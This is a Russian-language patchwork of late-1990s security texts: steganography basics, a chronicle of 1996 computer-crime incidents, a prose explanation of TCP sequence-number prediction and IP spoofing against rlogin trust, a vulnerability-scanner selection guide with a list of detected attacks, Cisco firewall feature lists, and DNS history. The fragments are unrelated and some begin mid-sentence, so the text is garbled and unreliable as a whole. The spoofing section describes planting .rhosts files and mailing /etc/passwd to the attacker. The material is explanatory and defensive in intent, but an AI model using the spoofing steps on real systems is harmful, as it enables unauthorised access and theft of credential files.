Ограничения

Каждое из перечисленных выше приложений требует определенного соотношения между устойчивостью встроенного сообщения к внешним воздействиям (в том числе и стегоанализу) и размером самого встраиваемого сообщения.

Для большинства современных методов, используемых для сокрытия сообщения в цифровых контейнерах, имеет место следующая зависимость надежности системы от объема встраиваемых данных (рис. 2).

Данная зависимость показывает, что при увеличении объема встраиваемых данных снижается надежность системы (при неизменности размера контейнера). Таким образом, используемый в стегосистеме контейнер накладывает ограничения на размер встраиваемых данных.

Октябрь

Администрация Клинтона

объявила, что она обжалует июньское решение против Закона о благопристойности

коммуникаций в Верховном суде (1 октября).

Администрация объявила

также о смягчении ограничений на экспорт криптосредств. Согласно

планам президентской команды, компании смогут экспортировать программы

с 56-битными ключами, если в течение двух лет будет реализовано

восстановление ключей (которое может осуществляться не только

правительственными ведомствами).

Альянс коммерческого ПО

(Business Software Alliance, BSA) пригрозил судебными карами египетским

фирмам, в которых, согласно экспертным оценкам, доля краденого

программного обеспечения составляет 80%.

В одной из программ новостей

BBC прошло сообщение о том, что услуги сотового пейджинга легко

доступны для перехвата и манипулирования посредством радиосканера

и соответствующего программного обеспечения для персональных компьютеров.

Центральное агентство

новостей Тайваня сообщило о появлении нового "политического"

вируса, созданного в знак протеста против претензий Японии на

острова, которые тайванцы называют Diaoyus. Вирус выдает следующие

сообщения: "Diaoyus - это территория Китайской Республики",

"Даже не надейтесь заполучить эти острова, японские чудовища",

"Вирус написан юным патриотом из школы Feng Hsi". После

этого вирус пытается уничтожить данные, хранящиеся на диске.

Газета "San Francisco

Chronicle" сообщила о новой серии мошеннических электронных

писем. В этих письмах жертвам сообщается, что у них есть только

24 часа на очищение от "страшного греха". Для очищения

нужно позвонить по номеру с региональным кодом 809. Междугородный

звонок стоит не менее 3 долларов, а на самом деле значительно

больше, если выслушивать бесконечные записанные сообщения. Peter

Neumann (ведущий телеконференции RISKS) указал также, что электронный

адрес отправителя писем "Global Communications"@demon.net

является вымышленным ().

В августе 1994 года Andrew

Stone, 32 лет, осужденный за махинации с кредитными картами, но

проводящий в тюрьме только ночи, был нанят редакторами журнала

"Which?", чтобы продемонстрировать уязвимость британских

банкоматов. После тестирования механизмов безопасности, проведенного

с благословения журнала, Эндрю вместе с сообщником организовали

автоматизированное "подглядывание через плечо". Они

разместили видеокамеры в нескольких точках, что позволило фиксировать

как детали банковских карт, так и движения пальцев пользователей

во время ввода персональных идентификационных кодов. Вооруженные

сведениями, добытыми за две недели подглядывания, сообщники изготовили

фальшивые банковские карты, "приняв за основу" дисконтные

карты для бензозаправочных станций. Банк-жертва был выбран в силу

особой насыщенности цветов на его картах, так что данные о счете

были ясно видны даже на расстоянии. Стоун и его сообщник похитили

сумму, эквивалентную 216 тысячам долларов США. В конце концов

полиция начала подозревать Стоуна, за ним стали следить и сопоставили

огромное число жалоб на неавторизованные изъятие средств с присутствием

Эндрю в пунктах выдачи наличных денег. В начале октября 1996 года

Стоун был приговорен к тюремному заключению на срок в пять с половиной

лет; его сообщник получил четыре с половиной года. (PA News, 4

октября).

Верховный суд США отклонил

апелляцию, которую подали Robert и Carleen Thomas из города Милпитас

(штат Калифорния). В 1994 году их осудили в результате процесса,

ставшего вехой в судебной практике, поскольку он затронул определение

границ сообщества в киберпространственный век. Стандарты сообщества

определяют, не переходит ли порнографический материал пределов

дозволенного. В данном случае почтовый инспектор из Мемфиса (штат

Тенесси) загрузил материал с электронной доски объявлений, расположенной

в Калифорнии, и возбудил уголовное преследование двух обвиняемых.

Их судили в Мемфисе и приговорили, соответственно, к 37 и 30 месяцам



тюремного заключения за пересылку незаконных файлов откровенно

сексуального характера через границу штата. (Reuters, 7 октября).

Португальское правительство

обязало компании-операторы сотовой телефонной связи установить

технические средства, позволяющие немедленно организовать прослушивание

любого звонка по сотовой связи. (Reuters, 9 октября).

В Колорадо-Спрингс программная

ошибка привела к невозможности зарегистрировать многократные идентичные

платежи, проводимые через банкоматы в течение одного дня клиентами

Федерального кредитного союза. Создавалось впечатление, что только

первый платеж относился на счет клиента. Кредитный союз известили

об этой ошибке сами пользователи несколько месяцев назад, но от

них просто отмахнулись. В октябре союз объявил о снятии 1.2 миллиона

долларов со счетов 12 тысяч "многократных плательщиков",

что вызвало всеобщее недовольство. ().

Профессор Гамбургского

университета Klaus Brunnstein обнаружил в середине октября, что

корпорация Microsoft выпустила еще один компакт-диск, зараженный

макровирусом Word "WAZZU.A". Естественно, персонал на

торговой выставке, где распространялся этот диск, проигнорировал

обращение профессора, утверждая, что вирус безвреден. Зараженные

документы пять дней находились на Web-сервере корпорации Microsoft,

прежде чем вирус был обнаружен. Профессор пояснил, что "WAZZU"

случайным образом переставляет пару слов в зараженном документе

и иногда вставляет цепочку символов "WAZZU". Если это

считается безвредным, то страшно даже подумать о том, что такое

подлинный вред. ().

Компания Concentric Network,

поставщик Интернет-услуг в северной Калифорнии, добилась еще одного

успеха в борьбе против злостных изготовителей электронного почтового

хлама - Sanford Wallace и ее дочерней фирмы Cyber Promotions.

Суд запретил этим фирмам использовать в их вздорных письмах адреса

Concentric Network в качестве адреса отправителя или адреса для

ответа. По утверждениям представителей компании Concentric Network



в суде, мошенническое использование ее области управления "вызывало

возврат десятков тысяч недоставляемых сообщений в почтовую систему

Concentric Network, где их приходилось обрабатывать и хранить,

что вело к перегрузкам оборудования и отказам в обслуживании для

подписчиков" (см. ).

В середине октября компания

Digital Technologies Group (Хартфорд) лишилась всех своих компьютерных

файлов и резервных копий. По-видимому, компания стала жертвой

классического вредительства со стороны обиженного бывшего сотрудника.

Прямой ущерб от вредительства составил 17 тысяч долларов. К этому

необходимо добавить потерю многомесячных трудов и недельный перерыв

в работе, серьезно повредивший репутацию компании как поставщика

Интернет-услуг. Вероятного преступника арестовали в конце декабря.

Ему грозит заключение на срок до 20 лет, если обвинение во вредительстве

будет доказано. (AP, 18 декабря).

Испанская полиция после

ареста в Барселоне двух юных каталонцев раскрыла шайку, занимавшуюся

распространением через Интернет детской порнографии. Сообщается,

что в процессе прослеживания преступников (а в их непристойности

были вовлечены даже дети трехлетнего возраста) успешно взаимодействовали

полицейские из многих стран. (Reuters, 10 октября).

Середина октября принесла

новые подтверждения правоты излюбленной мысли главы NCSA Боба

Бейлса (Bob Bales) о том, что Интернет может способствовать злоупотреблениям,

ведущим к отказам в обслуживании... для работодателей. Компания

Nielsen Media Research опубликовала обзор, показывающий, что служащие

компаний IBM, Apple и AT&T только за один месяц совместно

потратили 13048 человеко-часов на посещение WWW-сервера Penthouse.

Если принять стоимость одного человеко-часа равной, скажем, 20

долларам, то растраченное время обошлось работодателям в четверть

миллиона долларов. Из компании Compaq (Хьюстон) была уволена дюжина

сотрудников, каждый из которых в рабочее время нанес более 1000

зарегистрированных визитов на секс-серверы. (UPI, 14 октября).



Серия несчастий с голландскими

детьми вызвала гнев многих обозревателей Интернет. В течение одной

недели октября двенадцать детей были травмированы ручными гранатами,

изготовленными по детальным инструкциям, помещенным в Интернет.

Несмышленыши в возрасте от 8 до 13 лет собирали боеприпасы домашнего

изготовления из шариков, камешков и монет, прикрепленных к петардам.

Одна девочка лишилась глаза; у другой навсегда ухудшился слух;

другие дети получили ожоги. (AP, 18 октября).

Тревожное предупреждение

по поводу "смертельного пинга" опубликовал Mike Bremford

из Великобритании. Размер датаграмм (TCP/IP-пакетов) не должен

превышать 65535 байт. Любой процесс, генерирующий датаграммы большего

размера, может вызвать переполнение стека в операционной системе

принимающей машины. Это серьезная проблема, делающая практически

все операционные системы уязвимыми по отношению к атакам на доступность.

В качестве меры противодействия десятки производителей операционных

систем распространяют соответствующие заплаты. (Более подробную

информацию можно найти по адресу ).

22 октября состоялся массовый

выброс в Интернет почтового хлама. Тысячи поддельных рекламных

объявлений о нелегальной детской порнографии попали в почтовые

ящики пользователей разных стран. В качестве автора рекламы злоумышленниками

был указан житель Нью-Джерси Stephen Barnard. ФБР быстро разобралось

в ситуации, сняв со Стефана, жертвы отвратительного розыгрыша,

все подозрения. Письма были дополнительно замаскированы поддельными

заголовками, указывавшими на двух пользователей сети America Online,

но расследование оправдало и их. (PA News, Reuters, 22 октября).

В ежегодном отчете Французской

правительственной группы по борьбе с подделками (CNAC) указывается,

что Интернет активно используется изготовителями поддельных промышленных

изделий. "Подражатели" рассылают по своим подпольным

фабрикам, расположенным в разных странах, выкройки новых моделей

одежды прямо в день появления этих моделей.



На бизнес-семинаре, проводившемся

в гостинице Strathmore (Лутон, Бердфордшир), во время 20-минутного

обеденного перерыва воры проникли в запертую семинарскую аудиторию

и украли 11 ПК- блокнотов общей стоимостью примерно 75 тысяч долларов,

если не считать программного обеспечения и данных. (PA News, 25

октября).

В конце октября домашняя

Web-страница Верховного суда Флориды была "подправлена"

неизвестными лицами, заменившими благородный фон "под дерево"

картинками обнаженных людей, совершающих различные сексуальные

действия. Хотя фон вернули в первоначальное состояние в течение

пары дней, любознательное население Интернет подняло посещаемость

сервера на недосягаемую высоту. (UP, Reuters, 25 октября).

Председатель Федерации

коммуникационных услуг Jonathan Clark заявил, что мошенничество

ежегодно наносит британской телефонной индустрии и потребителям

ущерб в размере около 332 миллионов долларов. (PA News, 29 октября).

В конце октября были опубликованы

результаты ежегодного обзора информационной безопасности, подготовленного

компанией Ernst&Young. Ущерб от заражения вирусами, атак внутренних

и внешних пользователей существенно возрос, а умение поддерживать

информационную безопасность осталось на крайне низком уровне.

(См. ).

С разрешения владельца

авторских прав приведем фрагмент из публикации "Стратегия

развития безопасных систем в странах центральной и восточной Европы

(CEESSS):

Инциденты в области информационной

безопасности. Хакеры атакуют чешские банки. Опубликование персональных

данных о чешских гражданах.

Steven Slatem <>

Copyright (c) 1996

IntelliTech

Хакеры похитили 50 миллионов

чешских крон (1.9 миллиона долларов) в результате атак на неназванные

чешские банки. Другое нарушение безопасности состоит в получении

и размещении на электронной доске объявлений файла с персональной

информацией о чешских гражданах. Эти сведения нам сообщил в интервью

на выставке INVEX (Брно, 22-26 октября) Jiri Mrnustik, глава расположенной



в Брно компании по разработке антивирусного и криптографического

программного обеспечения AEC s.r.o."

В четырехлетней битве

между подразделением Opel корпорации General Motors и концерном

Volkswagen германский региональный суд отклонил гражданский иск,

в котором Volkswagen обвинял Opel в клевете и требовал возмещения

убытков в сумме 10 миллионов немецких марок (6.6 миллионов долларов).

Volkswagen подал этот иск в суд Франкфурта, чтобы прекратить заявления

Opel о криминальном заговоре с целью осуществления промышленного

шпионажа против Opel и General Motors. Заявления начались после

того, как Jose Lopez, удачливый менеджер в General Motors и Opel,

переметнулся в Volkswagen - как утверждается, с тремя чемоданами

конфиденциальных документов General Motors. (Dow Jones, 30 октября).

В конце ноября Lopez ушел из правления Volkswagen. (Reuters, 29

ноября). В середине декабря полиция Германии предъявила ему официальные

обвинения; однако, никаких обвинений в промышленном шпионаже против

концерна Volkswagen не выдвигалось. (Reuters, 13 декабря).

Житель Арканзаса Marion

Walton был уличен в киберсексуальной связи с канадской женщиной.

В отместку за это его жена Pat "прибила" почтовую программу.

Муж не остался в долгу и дважды поколотил жену. Полиция посоветовала

ей обратиться в суд. (Reuters, 31 октября; ).

и передает серверу sequence number

Вспомним, что установка TCP-соединения происходит в три стадии (3-way handshake): клиент выбирает и передает серверу sequence number (назовем его C-SYN), в ответ на это сервер высылает клиенту пакет данных, содержащий подтверждение (C-ACK) и собственный sequence number сервера (S-SYN). Теперь уже клиент должен выслать подтверждение (S-ACK). Схематично это можно представить так:

После этого соединение считается установленным и начинается обмен данными. При этом каждый пакет имеет в заголовке поле для sequence number и acknowledge number. Данные числа увеличиваются при обмене данными и позволяют контролировать корректность передачи.
Предположим, что крэкер может предсказать, какой sequence number (S-SYN по схеме) будет выслан сервером. Это возможно сделать на основе знаний о конкретной реализации TCP/IP. Например, в 4.3BSD значение sequence number, которое будет использовано при установке следующего значения, каждую секунду увеличивается на 125000. Таким образом, послав один пакет серверу, крэкер получит ответ и сможет (возможно, с нескольких попыткок и с поправкой на скорость соединения) предсказать sequence number для следующего соединения.
Если реализация TCP/IP использует специальный алгоритм для определения sequence number, то он может быть выяснен с помощью посылки нескольких десятков пакетов серверу и анализа его ответов.
Итак, предположим, что система A доверяет системе B, так, что пользователь системы B может сделать "rlogin A"_ и оказаться на A, не вводя пароля. Предположим, что крэкер расположен на системе C. Система A выступает в роли сервера, системы B и C - в роли клиентов.
Первая задача крэкера - ввести систему B в состояние, когда она не сможет отвечать на сетевые запросы. Это может быть сделано несколькими способами, в простейшем случае нужно просто дождаться перезагрузки системы B. Нескольких минут, в течении которых она будет неработоспособна, должно хватить. Другой вариант -- использование описанными в следующих разделах методов.
После этого крэкер может попробовать притвориться системой B, для того, что бы получить доступ к системе A (хотя бы кратковременный).


Крэкер высылает несколько IP-пакетов, инициирующих соединение, системе A, для выяснения текущего состояния sequence number сервера.
Крэкер высылает IP-пакет, в котором в качестве обратного адреса указан уже адрес системы B.
Система A отвечает пакетом с sequence number, который направляется системе B. Однако система B никогда не получит его (она выведена из строя), как, впрочем, и крэкер. Но он на основе предыдущего анализа догадывается, какой sequence number был выслан системе B.
Крэкер подтверждает "получение" пакета от A, выслав от имени B пакет с предполагаемым S-ACK(заметим, что если системы располагаются в одном сегменте, крэкеру для выяснения sequence number достаточно перехватить пакет, посланный системой A). После этого, если крэкеру повезло и sequence number сервера был угадан верно, соединение считается установленным.
Теперь крэкер может выслать очередной фальшивый IP-пакет, который будет уже содержать данные. Например, если атака была направлена на rsh, он может содержать команды создания файла .rhosts или отправки /etc/passwd крэкеру по электронной почте.
Представим это в виде схемы:

Определение требований

Цель

Цель данного этапа состоит в определении и перечислении Ваших требований к системе анализа защищенности таким образом, чтобы имелось ясное понимание проблем, которые необходимо устранить до начала оценки продукта. Определение требований важно по двум причинам:

Оно обеспечивает необходимое "отображение" между политикой безопасности и эксплуатационными требованиями Вашей организации и возможностями продукта. Этот этап позволит Вам лучше проводит сравнение двух и более продуктов.

Предположительная длительность

Один рабочий день.

Процедура

Необходимо выполнить шаги в следующем порядке (возможно при поддержке производителя или консультанта):

Понимание Вашего сетевого окружения

Ясное понимание архитектуры Вашей сети, включая протоколы, топологию, географическую распределенность и т.д., является залогом успешного определения требований. Сетевые диаграммы и карты, полученные при помощи систем управления сетью (например, HP OpenView), список критичных (важных) узлов, и выполняемых ими функций, чрезвычайно облегчат дальнейшую работу.

Анализ Ваших требований

Определите ключевые точки, анализ защищенности которых является существенно необходимым. Это даст понимание того, что Вы хотите анализировать. Опасен ли для Вас IPX трафик? Хотите ли Вы сканировать только узлы, работающие с сетью? Необходим ли Вам анализ системного и прикладного программного обеспечения? Имеются ли сетевые ресурсы, например, серверы приложений, Web-серверы или маршрутизаторы, которые требует дополнительной защиты или контроля? И т.д.

Размышление над этими вопросами позволит Вам правильно выбрать необходимое средство анализа защищенности.

Внесите в список Ваши ожидания

Какие проблемы Вы хотите устранить? Каких отрицательных воздействий Вы пробуете избежать? Можете ли Вы себе позволить тратить много времени на контроль и управление системами анализа защищенности или эти средства должны быть "самоуправляемыми"? Ограничено ли у Вас число людей, занимающихся информационной безопасностью?

Установите критерии для измерения успеха или отказа

Используйте требования, описанные в данном документе как начало отсчета. Добавьте (или удалите) требования к списку, приведенному в Приложении А., в зависимости от того, применимы ли они к Вашей сети или нет.

Ресурсы, требуемые на этом этапе

Ресурсы, требуемые на этом этапе - это знание имеющейся сети и выработанные требования к системе анализа защищенности. Это может быть достигнуто при помощи систем сетевого управления, а также специалистов отдела защиты информации при поддержке производителей систем анализа защищенности, их торговых представителей или консультантов.

Результат

Список требований к системе анализа защищенности, выработанных на данном этапе.

Определяемые атаки

Атаки на сеть MS Windows WinNuke Похищение файла с паролям Удаленные атаки на Registry Неавторизованный доступ к ресурсам Атаки с использованием электронной почты Sendmail Pipe Переполнение Identd в Sendmail Атаки, связанные с декодированием прикрепленных файлов WIZ DEBUG Нешифрованные пароли POPmail Атаки Web-серверов Apache / NCSA Microsoft(r) IIS Microsoft Internet Explorer Java Запись в журнал трафика HTTP Web Сканирование сети Satan Stealth Неполное открытия TCP соединений Атаки по отказу в обслуживании Сканирование ISS Syn Flooding Ping Flooding Finger Bomb

Атаки RPC Rexd Rwalld Admind Bootparam Statd Атаки на стандартные сервисы Finger TFTP Rlogin and Rsh Атаки FTP Cwd ~root Site Exec Нежелательный трафик По протоколу По IP адресу источника/назначения По типу сервиса в зависимости от портов источника/назначения Этот список не полный. для получения полного списка определяемых типов атак

© ООО , 1998

Oracle - сервер аутентификации

Oracle принимает запросы на аутентификацию через локальное устройство,

сверяет полученный запрос с политикой безопасности, описанной администратором

межсетевого экрана, и в случае, если запрос соответствует правилам, разрешает его выполнение.

При необходимости аутентифицировать пользователя, Oracle может в качестве

ответа заносить дополнительную информацию, например пароль пользователя или

запрос для системы одноразовых паролей.

Oracle - единственный процесс межсетевого экрана, осуществляющий доступ к аутентификационной

базе данных.

Oracle каждый час создает резервную копию базы, и в случае сбоя в работе

автоматически производит восстановление рабочей версии базы.

Oracle стартует при начальной загрузке системы.

Организация системы антивирусной защиты банковских информационных систем

Борисов В.И., начальник отдела платформенного программного обеспечения компании IBS ()

Забулонов М.Ю., эксперт по системам антивирусной защиты ()

ОСНОВНЫЕ ПОЛОЖЕНИЯ СТЕГАНОГРАФИИ

О. В. Генне, ООО "Конфидент"

Опубликовано: журнал "Защита информации. Конфидент", №3, 2000

Стеганография - это метод организации связи, который собственно скрывает само наличие связи. В отличие от криптографии, где неприятель точно может определить является ли передаваемое сообщение зашифрованным текстом, методы стеганографии позволяют встраивать секретные сообщения в безобидные послания так, чтобы невозможно было заподозрить существование встроенного тайного послания.

Слово "стеганография" в переводе с греческого буквально означает "тайнопись" (steganos - секрет, тайна; graphy - запись). К ней относится огромное множество секретных средств связи, таких как невидимые чернила, микрофотоснимки, условное расположение знаков, тайные каналы и средства связи на плавающих частотах и т. д.

Стеганография занимает свою нишу в обеспечении безопасности: она не заменяет, а дополняет криптографию. Сокрытие сообщения методами стеганографии значительно снижает вероятность обнаружения самого факта передачи сообщения. А если это сообщение к тому же зашифровано, то оно имеет еще один, дополнительный, уровень защиты.

В настоящее время в связи с бурным развитием вычислительной техники и новых каналов передачи информации появились новые стеганографические методы, в основе которых лежат особенности представления информации в компьютерных файлах, вычислительных сетях и т. п. Это дает нам возможность говорить о становлении нового направления - компьютерной стеганографии.

Основные свойства

Защита на основе технологии контроля состояния защита сетевых соединений, позволяет ограничить неавторизованных пользователей от доступа к сетевым ресурсам. технология перехвата соединений на прикладном уровне позволяет обеспечить аутентификацию пользователей с использованием стандартных протоколов TACACS+ и RADIUS Поддерживает более 16,000 одновременных соединений Удобный и простой менеджер межсетевых экранов обеспечивает легкое администрирование нескольких межсетевых экранов PIX Поддержка третьего сетевого интерфейса для поддержки открытых для пользователей Интернет сервисов типа WWW, электронной почты и др. Поддержка протокола Point-to-Point Tunneling Protocol (PPTP) компании Микрософт для реализации виртуальных корпоративных сетей (VPN) Поддержка протокола Oracle SQL*Net для защиты приложений клиент/сервер Командный интерфейс, присущий CISCO IOS системе Высокая надежность благодаря возможности дублирования и горячего резерва Трансляция сетевых адресов (NAT) согласно RFC 1631 Трансляция портов (PAT) позволяет расширить пул адресов компании - через один IP адрес можно отображать 64000 адресов ( 16,384 одновременно) Псевдонимы сетевых адресов позволяют отобразить перекрывающиеся IP адреса в одно адресное пространство Для зарегистрированных IP адресов можно отменить режим трансляции адресов, что позволяет пользователям использовать их настоящие адреса Прозрачная поддержка всех распространенных TCP/IP сервисов - WWW, FTP, Telnet и т.д. Поддержка мультимедийных типов данных с использованием трансляции адресов и без нее, включая Progressive Networks' RealAudio, Xing Technologies' Streamworks, White Pines' CuSeeMe, Vocal Tec's Internet Phone, VDOnet's VDOLive, Microsoft's NetShow, VXtreme's Web Theater 2 Поддержка приложений для работы с видеоконференциями, совместимыми с H.323 спецификацией, включая Internet Video Phone (Intel) и NetMeeting (Микрософт) Возможнсоть фильтрации потенциально опасных Java апплетов Защищенная система реального времени Поддержка нескольких уровней входа в систему Поддержка прерываний (trap) SNMP протокола Сбор аудита через syslog утилиту Поддержка Management Information Base (MIB) для syslog Аудит использования URL и обменов по FTP протоколу Поддержка удаленного вызова процедур (RPC) Программа контроля почтового траффика позволяет отказаться от размещения внешнего почтового сервера в демилитаризованной зоне (DMZ) Защита от SYN атак защищает хост от атак типа "отказ в обслуживании" Трансляция NetBIOS протокола обеспечивает поддержку взаимодействия клиентов и серверов Microsoft Networking через PIX Две аппаратные платформы (PIX и PIX10000) позволяют обеспечить производительность от 45 Мбит/с до более чем 90 Мбит/с

Основными преимуществами такого решения являются:

Гибкость - одновременно решаются вопросы маршрутизации, обеспечения защищенного доступа в Интернет. В описаниии правил доступа используется информация о пользователях, адресах, типах приложений, как для входящих, так и выходящих соединений; Защита инвестиций - дополнительные возможности по защите в маршрутизаторе позволяет сэкономить средства на обучении работе с иной аппаратной платформой; Легкость управления - использование возможностей удаленного администрирования позволяет управлять системой со своего рабочего места через сеть; Совместимость с другими продуктами и решениями компании Cisco Systems

Ниже приведено краткое описание основных функциональных возможностей FFS:

Основанный на контексте контроль доступа

Поддерживаемые приложенияОбнаружение и предотвращение атак типа "отказ в обслуживании"Блокировка Java апплетовОповещение об атаках в реальном времениСетевое управление

Контроль состояния соединения	Контроль состояния и контекста всех соединений через роутер
Протокольно-зависимая фильтрация	Учет в правилах фильтрации команд служебных протоколов прикладного уровня, обнаружение атак на уровне протоколов, динамическое открытие необходимых для работы приложений портов
TCP/UDP приложения	Telnet, FTP, HTTP, SNMP
FTP протокол	Активный и пассивный режим
Мультимедиа приложения	Контроль потоков служебной информации для правильного открытия необходимых портов для аудио/видео соединений (включает H.323 приложения, CU-SeeME, RealAudio, VDOLive, Streamworks и др.)
Контроль SMTP приложений	Обнаружение неверных SMTP команд, что позволяет избежать необходимости установки почтовых серверов в демилитаризованной зоне
Поддержка RCP сервисов	Контроль запросов portmapper на открытие соединений для работы RCP приложений
Поддержка R-команд	Проверка ответов сервера с запросами на установление дополнительных соединений
Поддержка приложений Oracle	Контроль сообщений о перенаправлении соединений от серверной части Oracle в приложениях клиент-сервер; открытие портов для работы клиентов с сервером
Приложения по поддержке видеоконференций на основе H.323	Проверка контрольных сообщений Q.931 и H.245, которые служат для открытия дополнительных UDP соединений для передачи видео и аудио данных
Защита от популярных видов атак	Защита от syn атак, сканирования портов, защита от атак с исчерпыванием ресурсов маршрутизатора.
Контроль порядковых номеров	Проверка порядковых номеров (sequence number) в TCP соединениях для гарантии того, что они находятся в ожидаемом диапазоне
Статистика соединений	Статистика соединений, включающая время, адреса источника/назначения, порты и полное число переданных байт
Рекомендуемые настройки по умолчанию	Настройки при загрузке, вкл/выкл source routing, разр/запр proxy arp, разрешение всех/только требуемых приложений, шифрование паролей на роутере с помощью MD5, списки доступа и пароли к виртуальным терминалам, разр/запр аутентификации роутеров в поддерживавемых протоколах маршрутизации
Расширенная статистика по TCP/UDP соединениям	Статистика доступа пользователей (порты и адреса источника/назначения)
Установка уровня защиты	Можно настроить правила фильтрации или полного запрета Java апплетов, не находящихся внутри архивов или сжатых файлов
Расширенные возможности	Сообщения в случае атак типа "отказ в обслуживании" или иных заранее описанных событий через syslog механизм на заданный хост
Совместимость с остальными возможностями Cisco IOS	Совместимость со списками доступа, трансляцией адресов, рефлексивными списками доступа, технологией шифрования, используемой в Cisco
Поддержка в ConfigMaker	Программа под Windows95/NT, облегчающая настройку сетевых параметров, адресации и параметров FFS

Особенности применения

Если сканер не находит уязвимостей на тестируемом узле, то это еще не значит, что их нет. Просто сканер не нашел их. И зависит это не только от самого сканера, но и от его окружения. Например, если Вы тестируете сервис Telnet или FTP на удаленной машине, и сканер сообщает Вам, что уязвимостей не обнаружено - это может значить не только, что уязвимостей нет, а еще и то, что на сканируемом компьютере установлен, например, TCP Wrapper. Да мало ли еще чего? Вы можете пытаться получить доступ к компьютеру через межсетевой экран или попытки доступа блокируются соответствующими фильтрами у провайдера и т.д. Для ОС Windows NT характерен другой случай. Сканер пытается дистанционно проанализировать системный реестр (registry). Однако в случае запрета на анализируемом узле удаленного доступа к реестру, сканер никаких уязвимостей не обнаружит. Существуют и более сложные случаи. И вообще различные реализации одного итого же сервиса по-разному реагируют на системы анализа защищенности. Очень часто на практике можно увидеть, что сканер показывает уязвимости, которых на анализируемом узле нет. Это относится к сетевым сканерам, которые проводят дистанционный анализ узлов сети. И удаленно определить, существует ли в действительности уязвимость или нет, практически невозможно. В этом случае можно порекомендовать использовать систему анализа защищенности на уровне операционной системы, агенты которой устанавливаются на каждый контролируемый узел и проводят все проверки локально.

Для решения этой проблемы некоторые компании-производители пошли по пути предоставления своим пользователям нескольких систем анализа защищенности, работающих на всех указанных выше уровнях, - сетевом, системном и уровне приложений. Совокупность этих систем позволяет с высокой степенью эффективности обнаружить практически все известные уязвимости. Например, компания Internet Security Systems предлагает семейство SAFEsuite, состоящее из четырех сканеров: Internet Scanner, System Scanner, Security Manager и Database Scanner. В настоящий момент это единственная компания, которая предлагает системы анализа защищенности, функционирующие на всех трех уровнях информационной инфраструктуры. Другие компании предлагают или два (Axent) или, как правило, один (Network Associates, NetSonar и др.) сканер.

Компания Cisco, предлагающая только систему анализа защищенности на уровне сети пошла другим путем для устранения проблемы ложного срабатывания. Она делит все уязвимости на два класса:

Потенциальные - вытекающие из проверок заголовков и т.н. активных "подталкиваний" (nudge) анализируемого сервиса или узла. Потенциальная уязвимость возможно существует в системе, но активные зондирующие проверки не подтверждают этого. Подтвержденные - выявленные и существующие на анализируемом хосте.

Проверки на потенциальную уязвимость проводятся через коллекцию заголовков и использование "несильных подталкиваний". "Подталкивание" используется для сервисов, не возвращающих заголовки, но реагирующих на простые команды, например, посылка команды HEAD для получения версии HTTP-сервера. Как только эта информация получена, система NetSonar использует специальный механизм (rules engine), который реализует ряд правил, определяющих, существует ли потенциальная уязвимость.

Таким образом, администратор знает, какие из обнаруженных уязвимостей действительно присутствуют в системе, а какие требуют подтверждения.

Однако в данном случае остаются уязвимости, с трудом обнаруживаемые или совсем не обнаруживаемые через сеть. Например, проверка "слабости" паролей, используемых пользователями и другими учетными записями. В случае использования сетевого сканера вам потребуется затратить очень много времени на удаленную проверку каждой учетной записи. В то же время, аналогичная проверка, осуществляемая на локальном узле, проводится на несколько порядков быстрее. Другим примером может служить проверка файловой системы сканируемого узла. Во многих случаях ее нельзя осуществить дистанционно.

Достоинства сканирования на уровне ОС кроются в прямом доступе к низкоуровневым возможностям ОС хоста, конкретным сервисам и деталям конфигурации. Тогда как сканер сетевого уровня имитирует ситуацию, которую мог бы иметь внешний злоумышленник, сканер системного уровня может рассматривать систему со стороны пользователя, уже имеющего доступ к анализируемой системе и имеющего в ней учетную запись. Это является наиболее важным отличием, поскольку сетевой сканер по определению не может предоставить эффективного анализа возможных рисков деятельности пользователя.

Многие сканеры используют более чем один метод проверки одной и той же уязвимости или класса уязвимостей. Однако в случае большого числа проверок использование нескольких методов поиска одной уязвимости привносит свои проблемы. Связано это со скоростью проведения сканирования.

Например, различие между системами CyberCop Scanner и Internet Scanner в том, что разработчики из NAI никогда не добавят в свой продукт проверку, если не могут с уверенностью сказать, что проверка надежно обнаруживает уязвимость. В то время как разработчики ISS пополняют свою базу даже в том случае, если их проверка обнаруживает уязвимость с некоторой точностью. Затем, уже после выпуска системы, происходит возврат к разработанным проверкам, их улучшение, добавление новых механизмов осуществления проверок той же уязвимости для повышения достоверности, и т.д. Достаточно спорный вопрос, что лучше. С одной стороны лучше, когда вы с уверенностью можете сказать, что на анализируемом узле определенной уязвимости нет. С другой, даже если существует хоть небольшой шанс, что вы можете обнаружить уязвимость, то надо этим шансом воспользоваться. В любом случае наиболее предпочтительным является проверка типа "имитация атак", которая обеспечивает наибольший процент точного обнаружения уязвимостей.

Не все проверки, разработанные в лабораторных условиях, функционируют так, как должны. Даже, несмотря на то, что эти проверки тестируются, прежде чем будут внесены в окончательную версию сканера. На это могут влиять некоторые факторы:

Особенности конфигурации пользовательской системы. Способ, которым был скомпилирован анализируемый демон или сервис. Ошибки удаленной системы. И т.д.

В таких случаях автоматическая проверка может пропустить уязвимость, которая легко обнаруживается вручную и которая может быть широко распространена во многих системах. Проверка заголовка в совокупности с активным зондированием в таком случае может помочь определить подозрительную ситуацию, сервис или узел. И хотя уязвимость не обнаружена, еще не значит, что ее не существует. Необходимо другими методами, в т.ч. и неавтоматизированными, исследовать каждый подозрительный случай.

ОТ SRI-NIC ДО DNS

До появления DNS данные о каждом новом хосте приходилось добавлять в центральное хранилище Информационного центра сети в Стенфордском исследовательском институте (Stanford Research Institute`s Network Information Center, SRI-NIC), отвечавшем за предоставление такой информации до начала 90-х. SRI-NIC затем публиковал этот файл, и он посредством массового копирования поступал на все хосты сети агентства по перспективным исследованиям (Advanced Research Projects Agency Network, ARPANET).

Другая проблема такого метода управления именами хостов состояла в его плоской структуре. Каждое зарегистрированное в SRI-NIC имя должно было быть уникальным. Например, никакие два хоста нигде в Internet не могли одновременно называться www. Как результат, SRI-NIC уступила место DNS.

Один из главных вкладов DNS в Internet - возможность уникальным образом отображать однозначно идентифицируемые имена хостов на IP-адреса во всемирном масштабе. Эта процедура известна как прямое отображение. Среди некоторых других возможностей DNS - обратное отображение (т. е. определение имени хоста по IP-адресу), информация о серверах электронной почты (идентификация почтового сервера для данного хоста или домена) и каноническое именование (назначение псевдонимов для имени хоста).

В DNS эта информация хранится в записях ресурсов (Resource Records, RR). Каждому типу содержащейся в DNS информации соответствует свой тип RR. Примерами типов записей о ресурсах могут служить запись A об IP-адресе для данного имени хоста, запись NS о сервере имен для данного имени домена и запись MX о почтовом сервере для данного имени DNS.

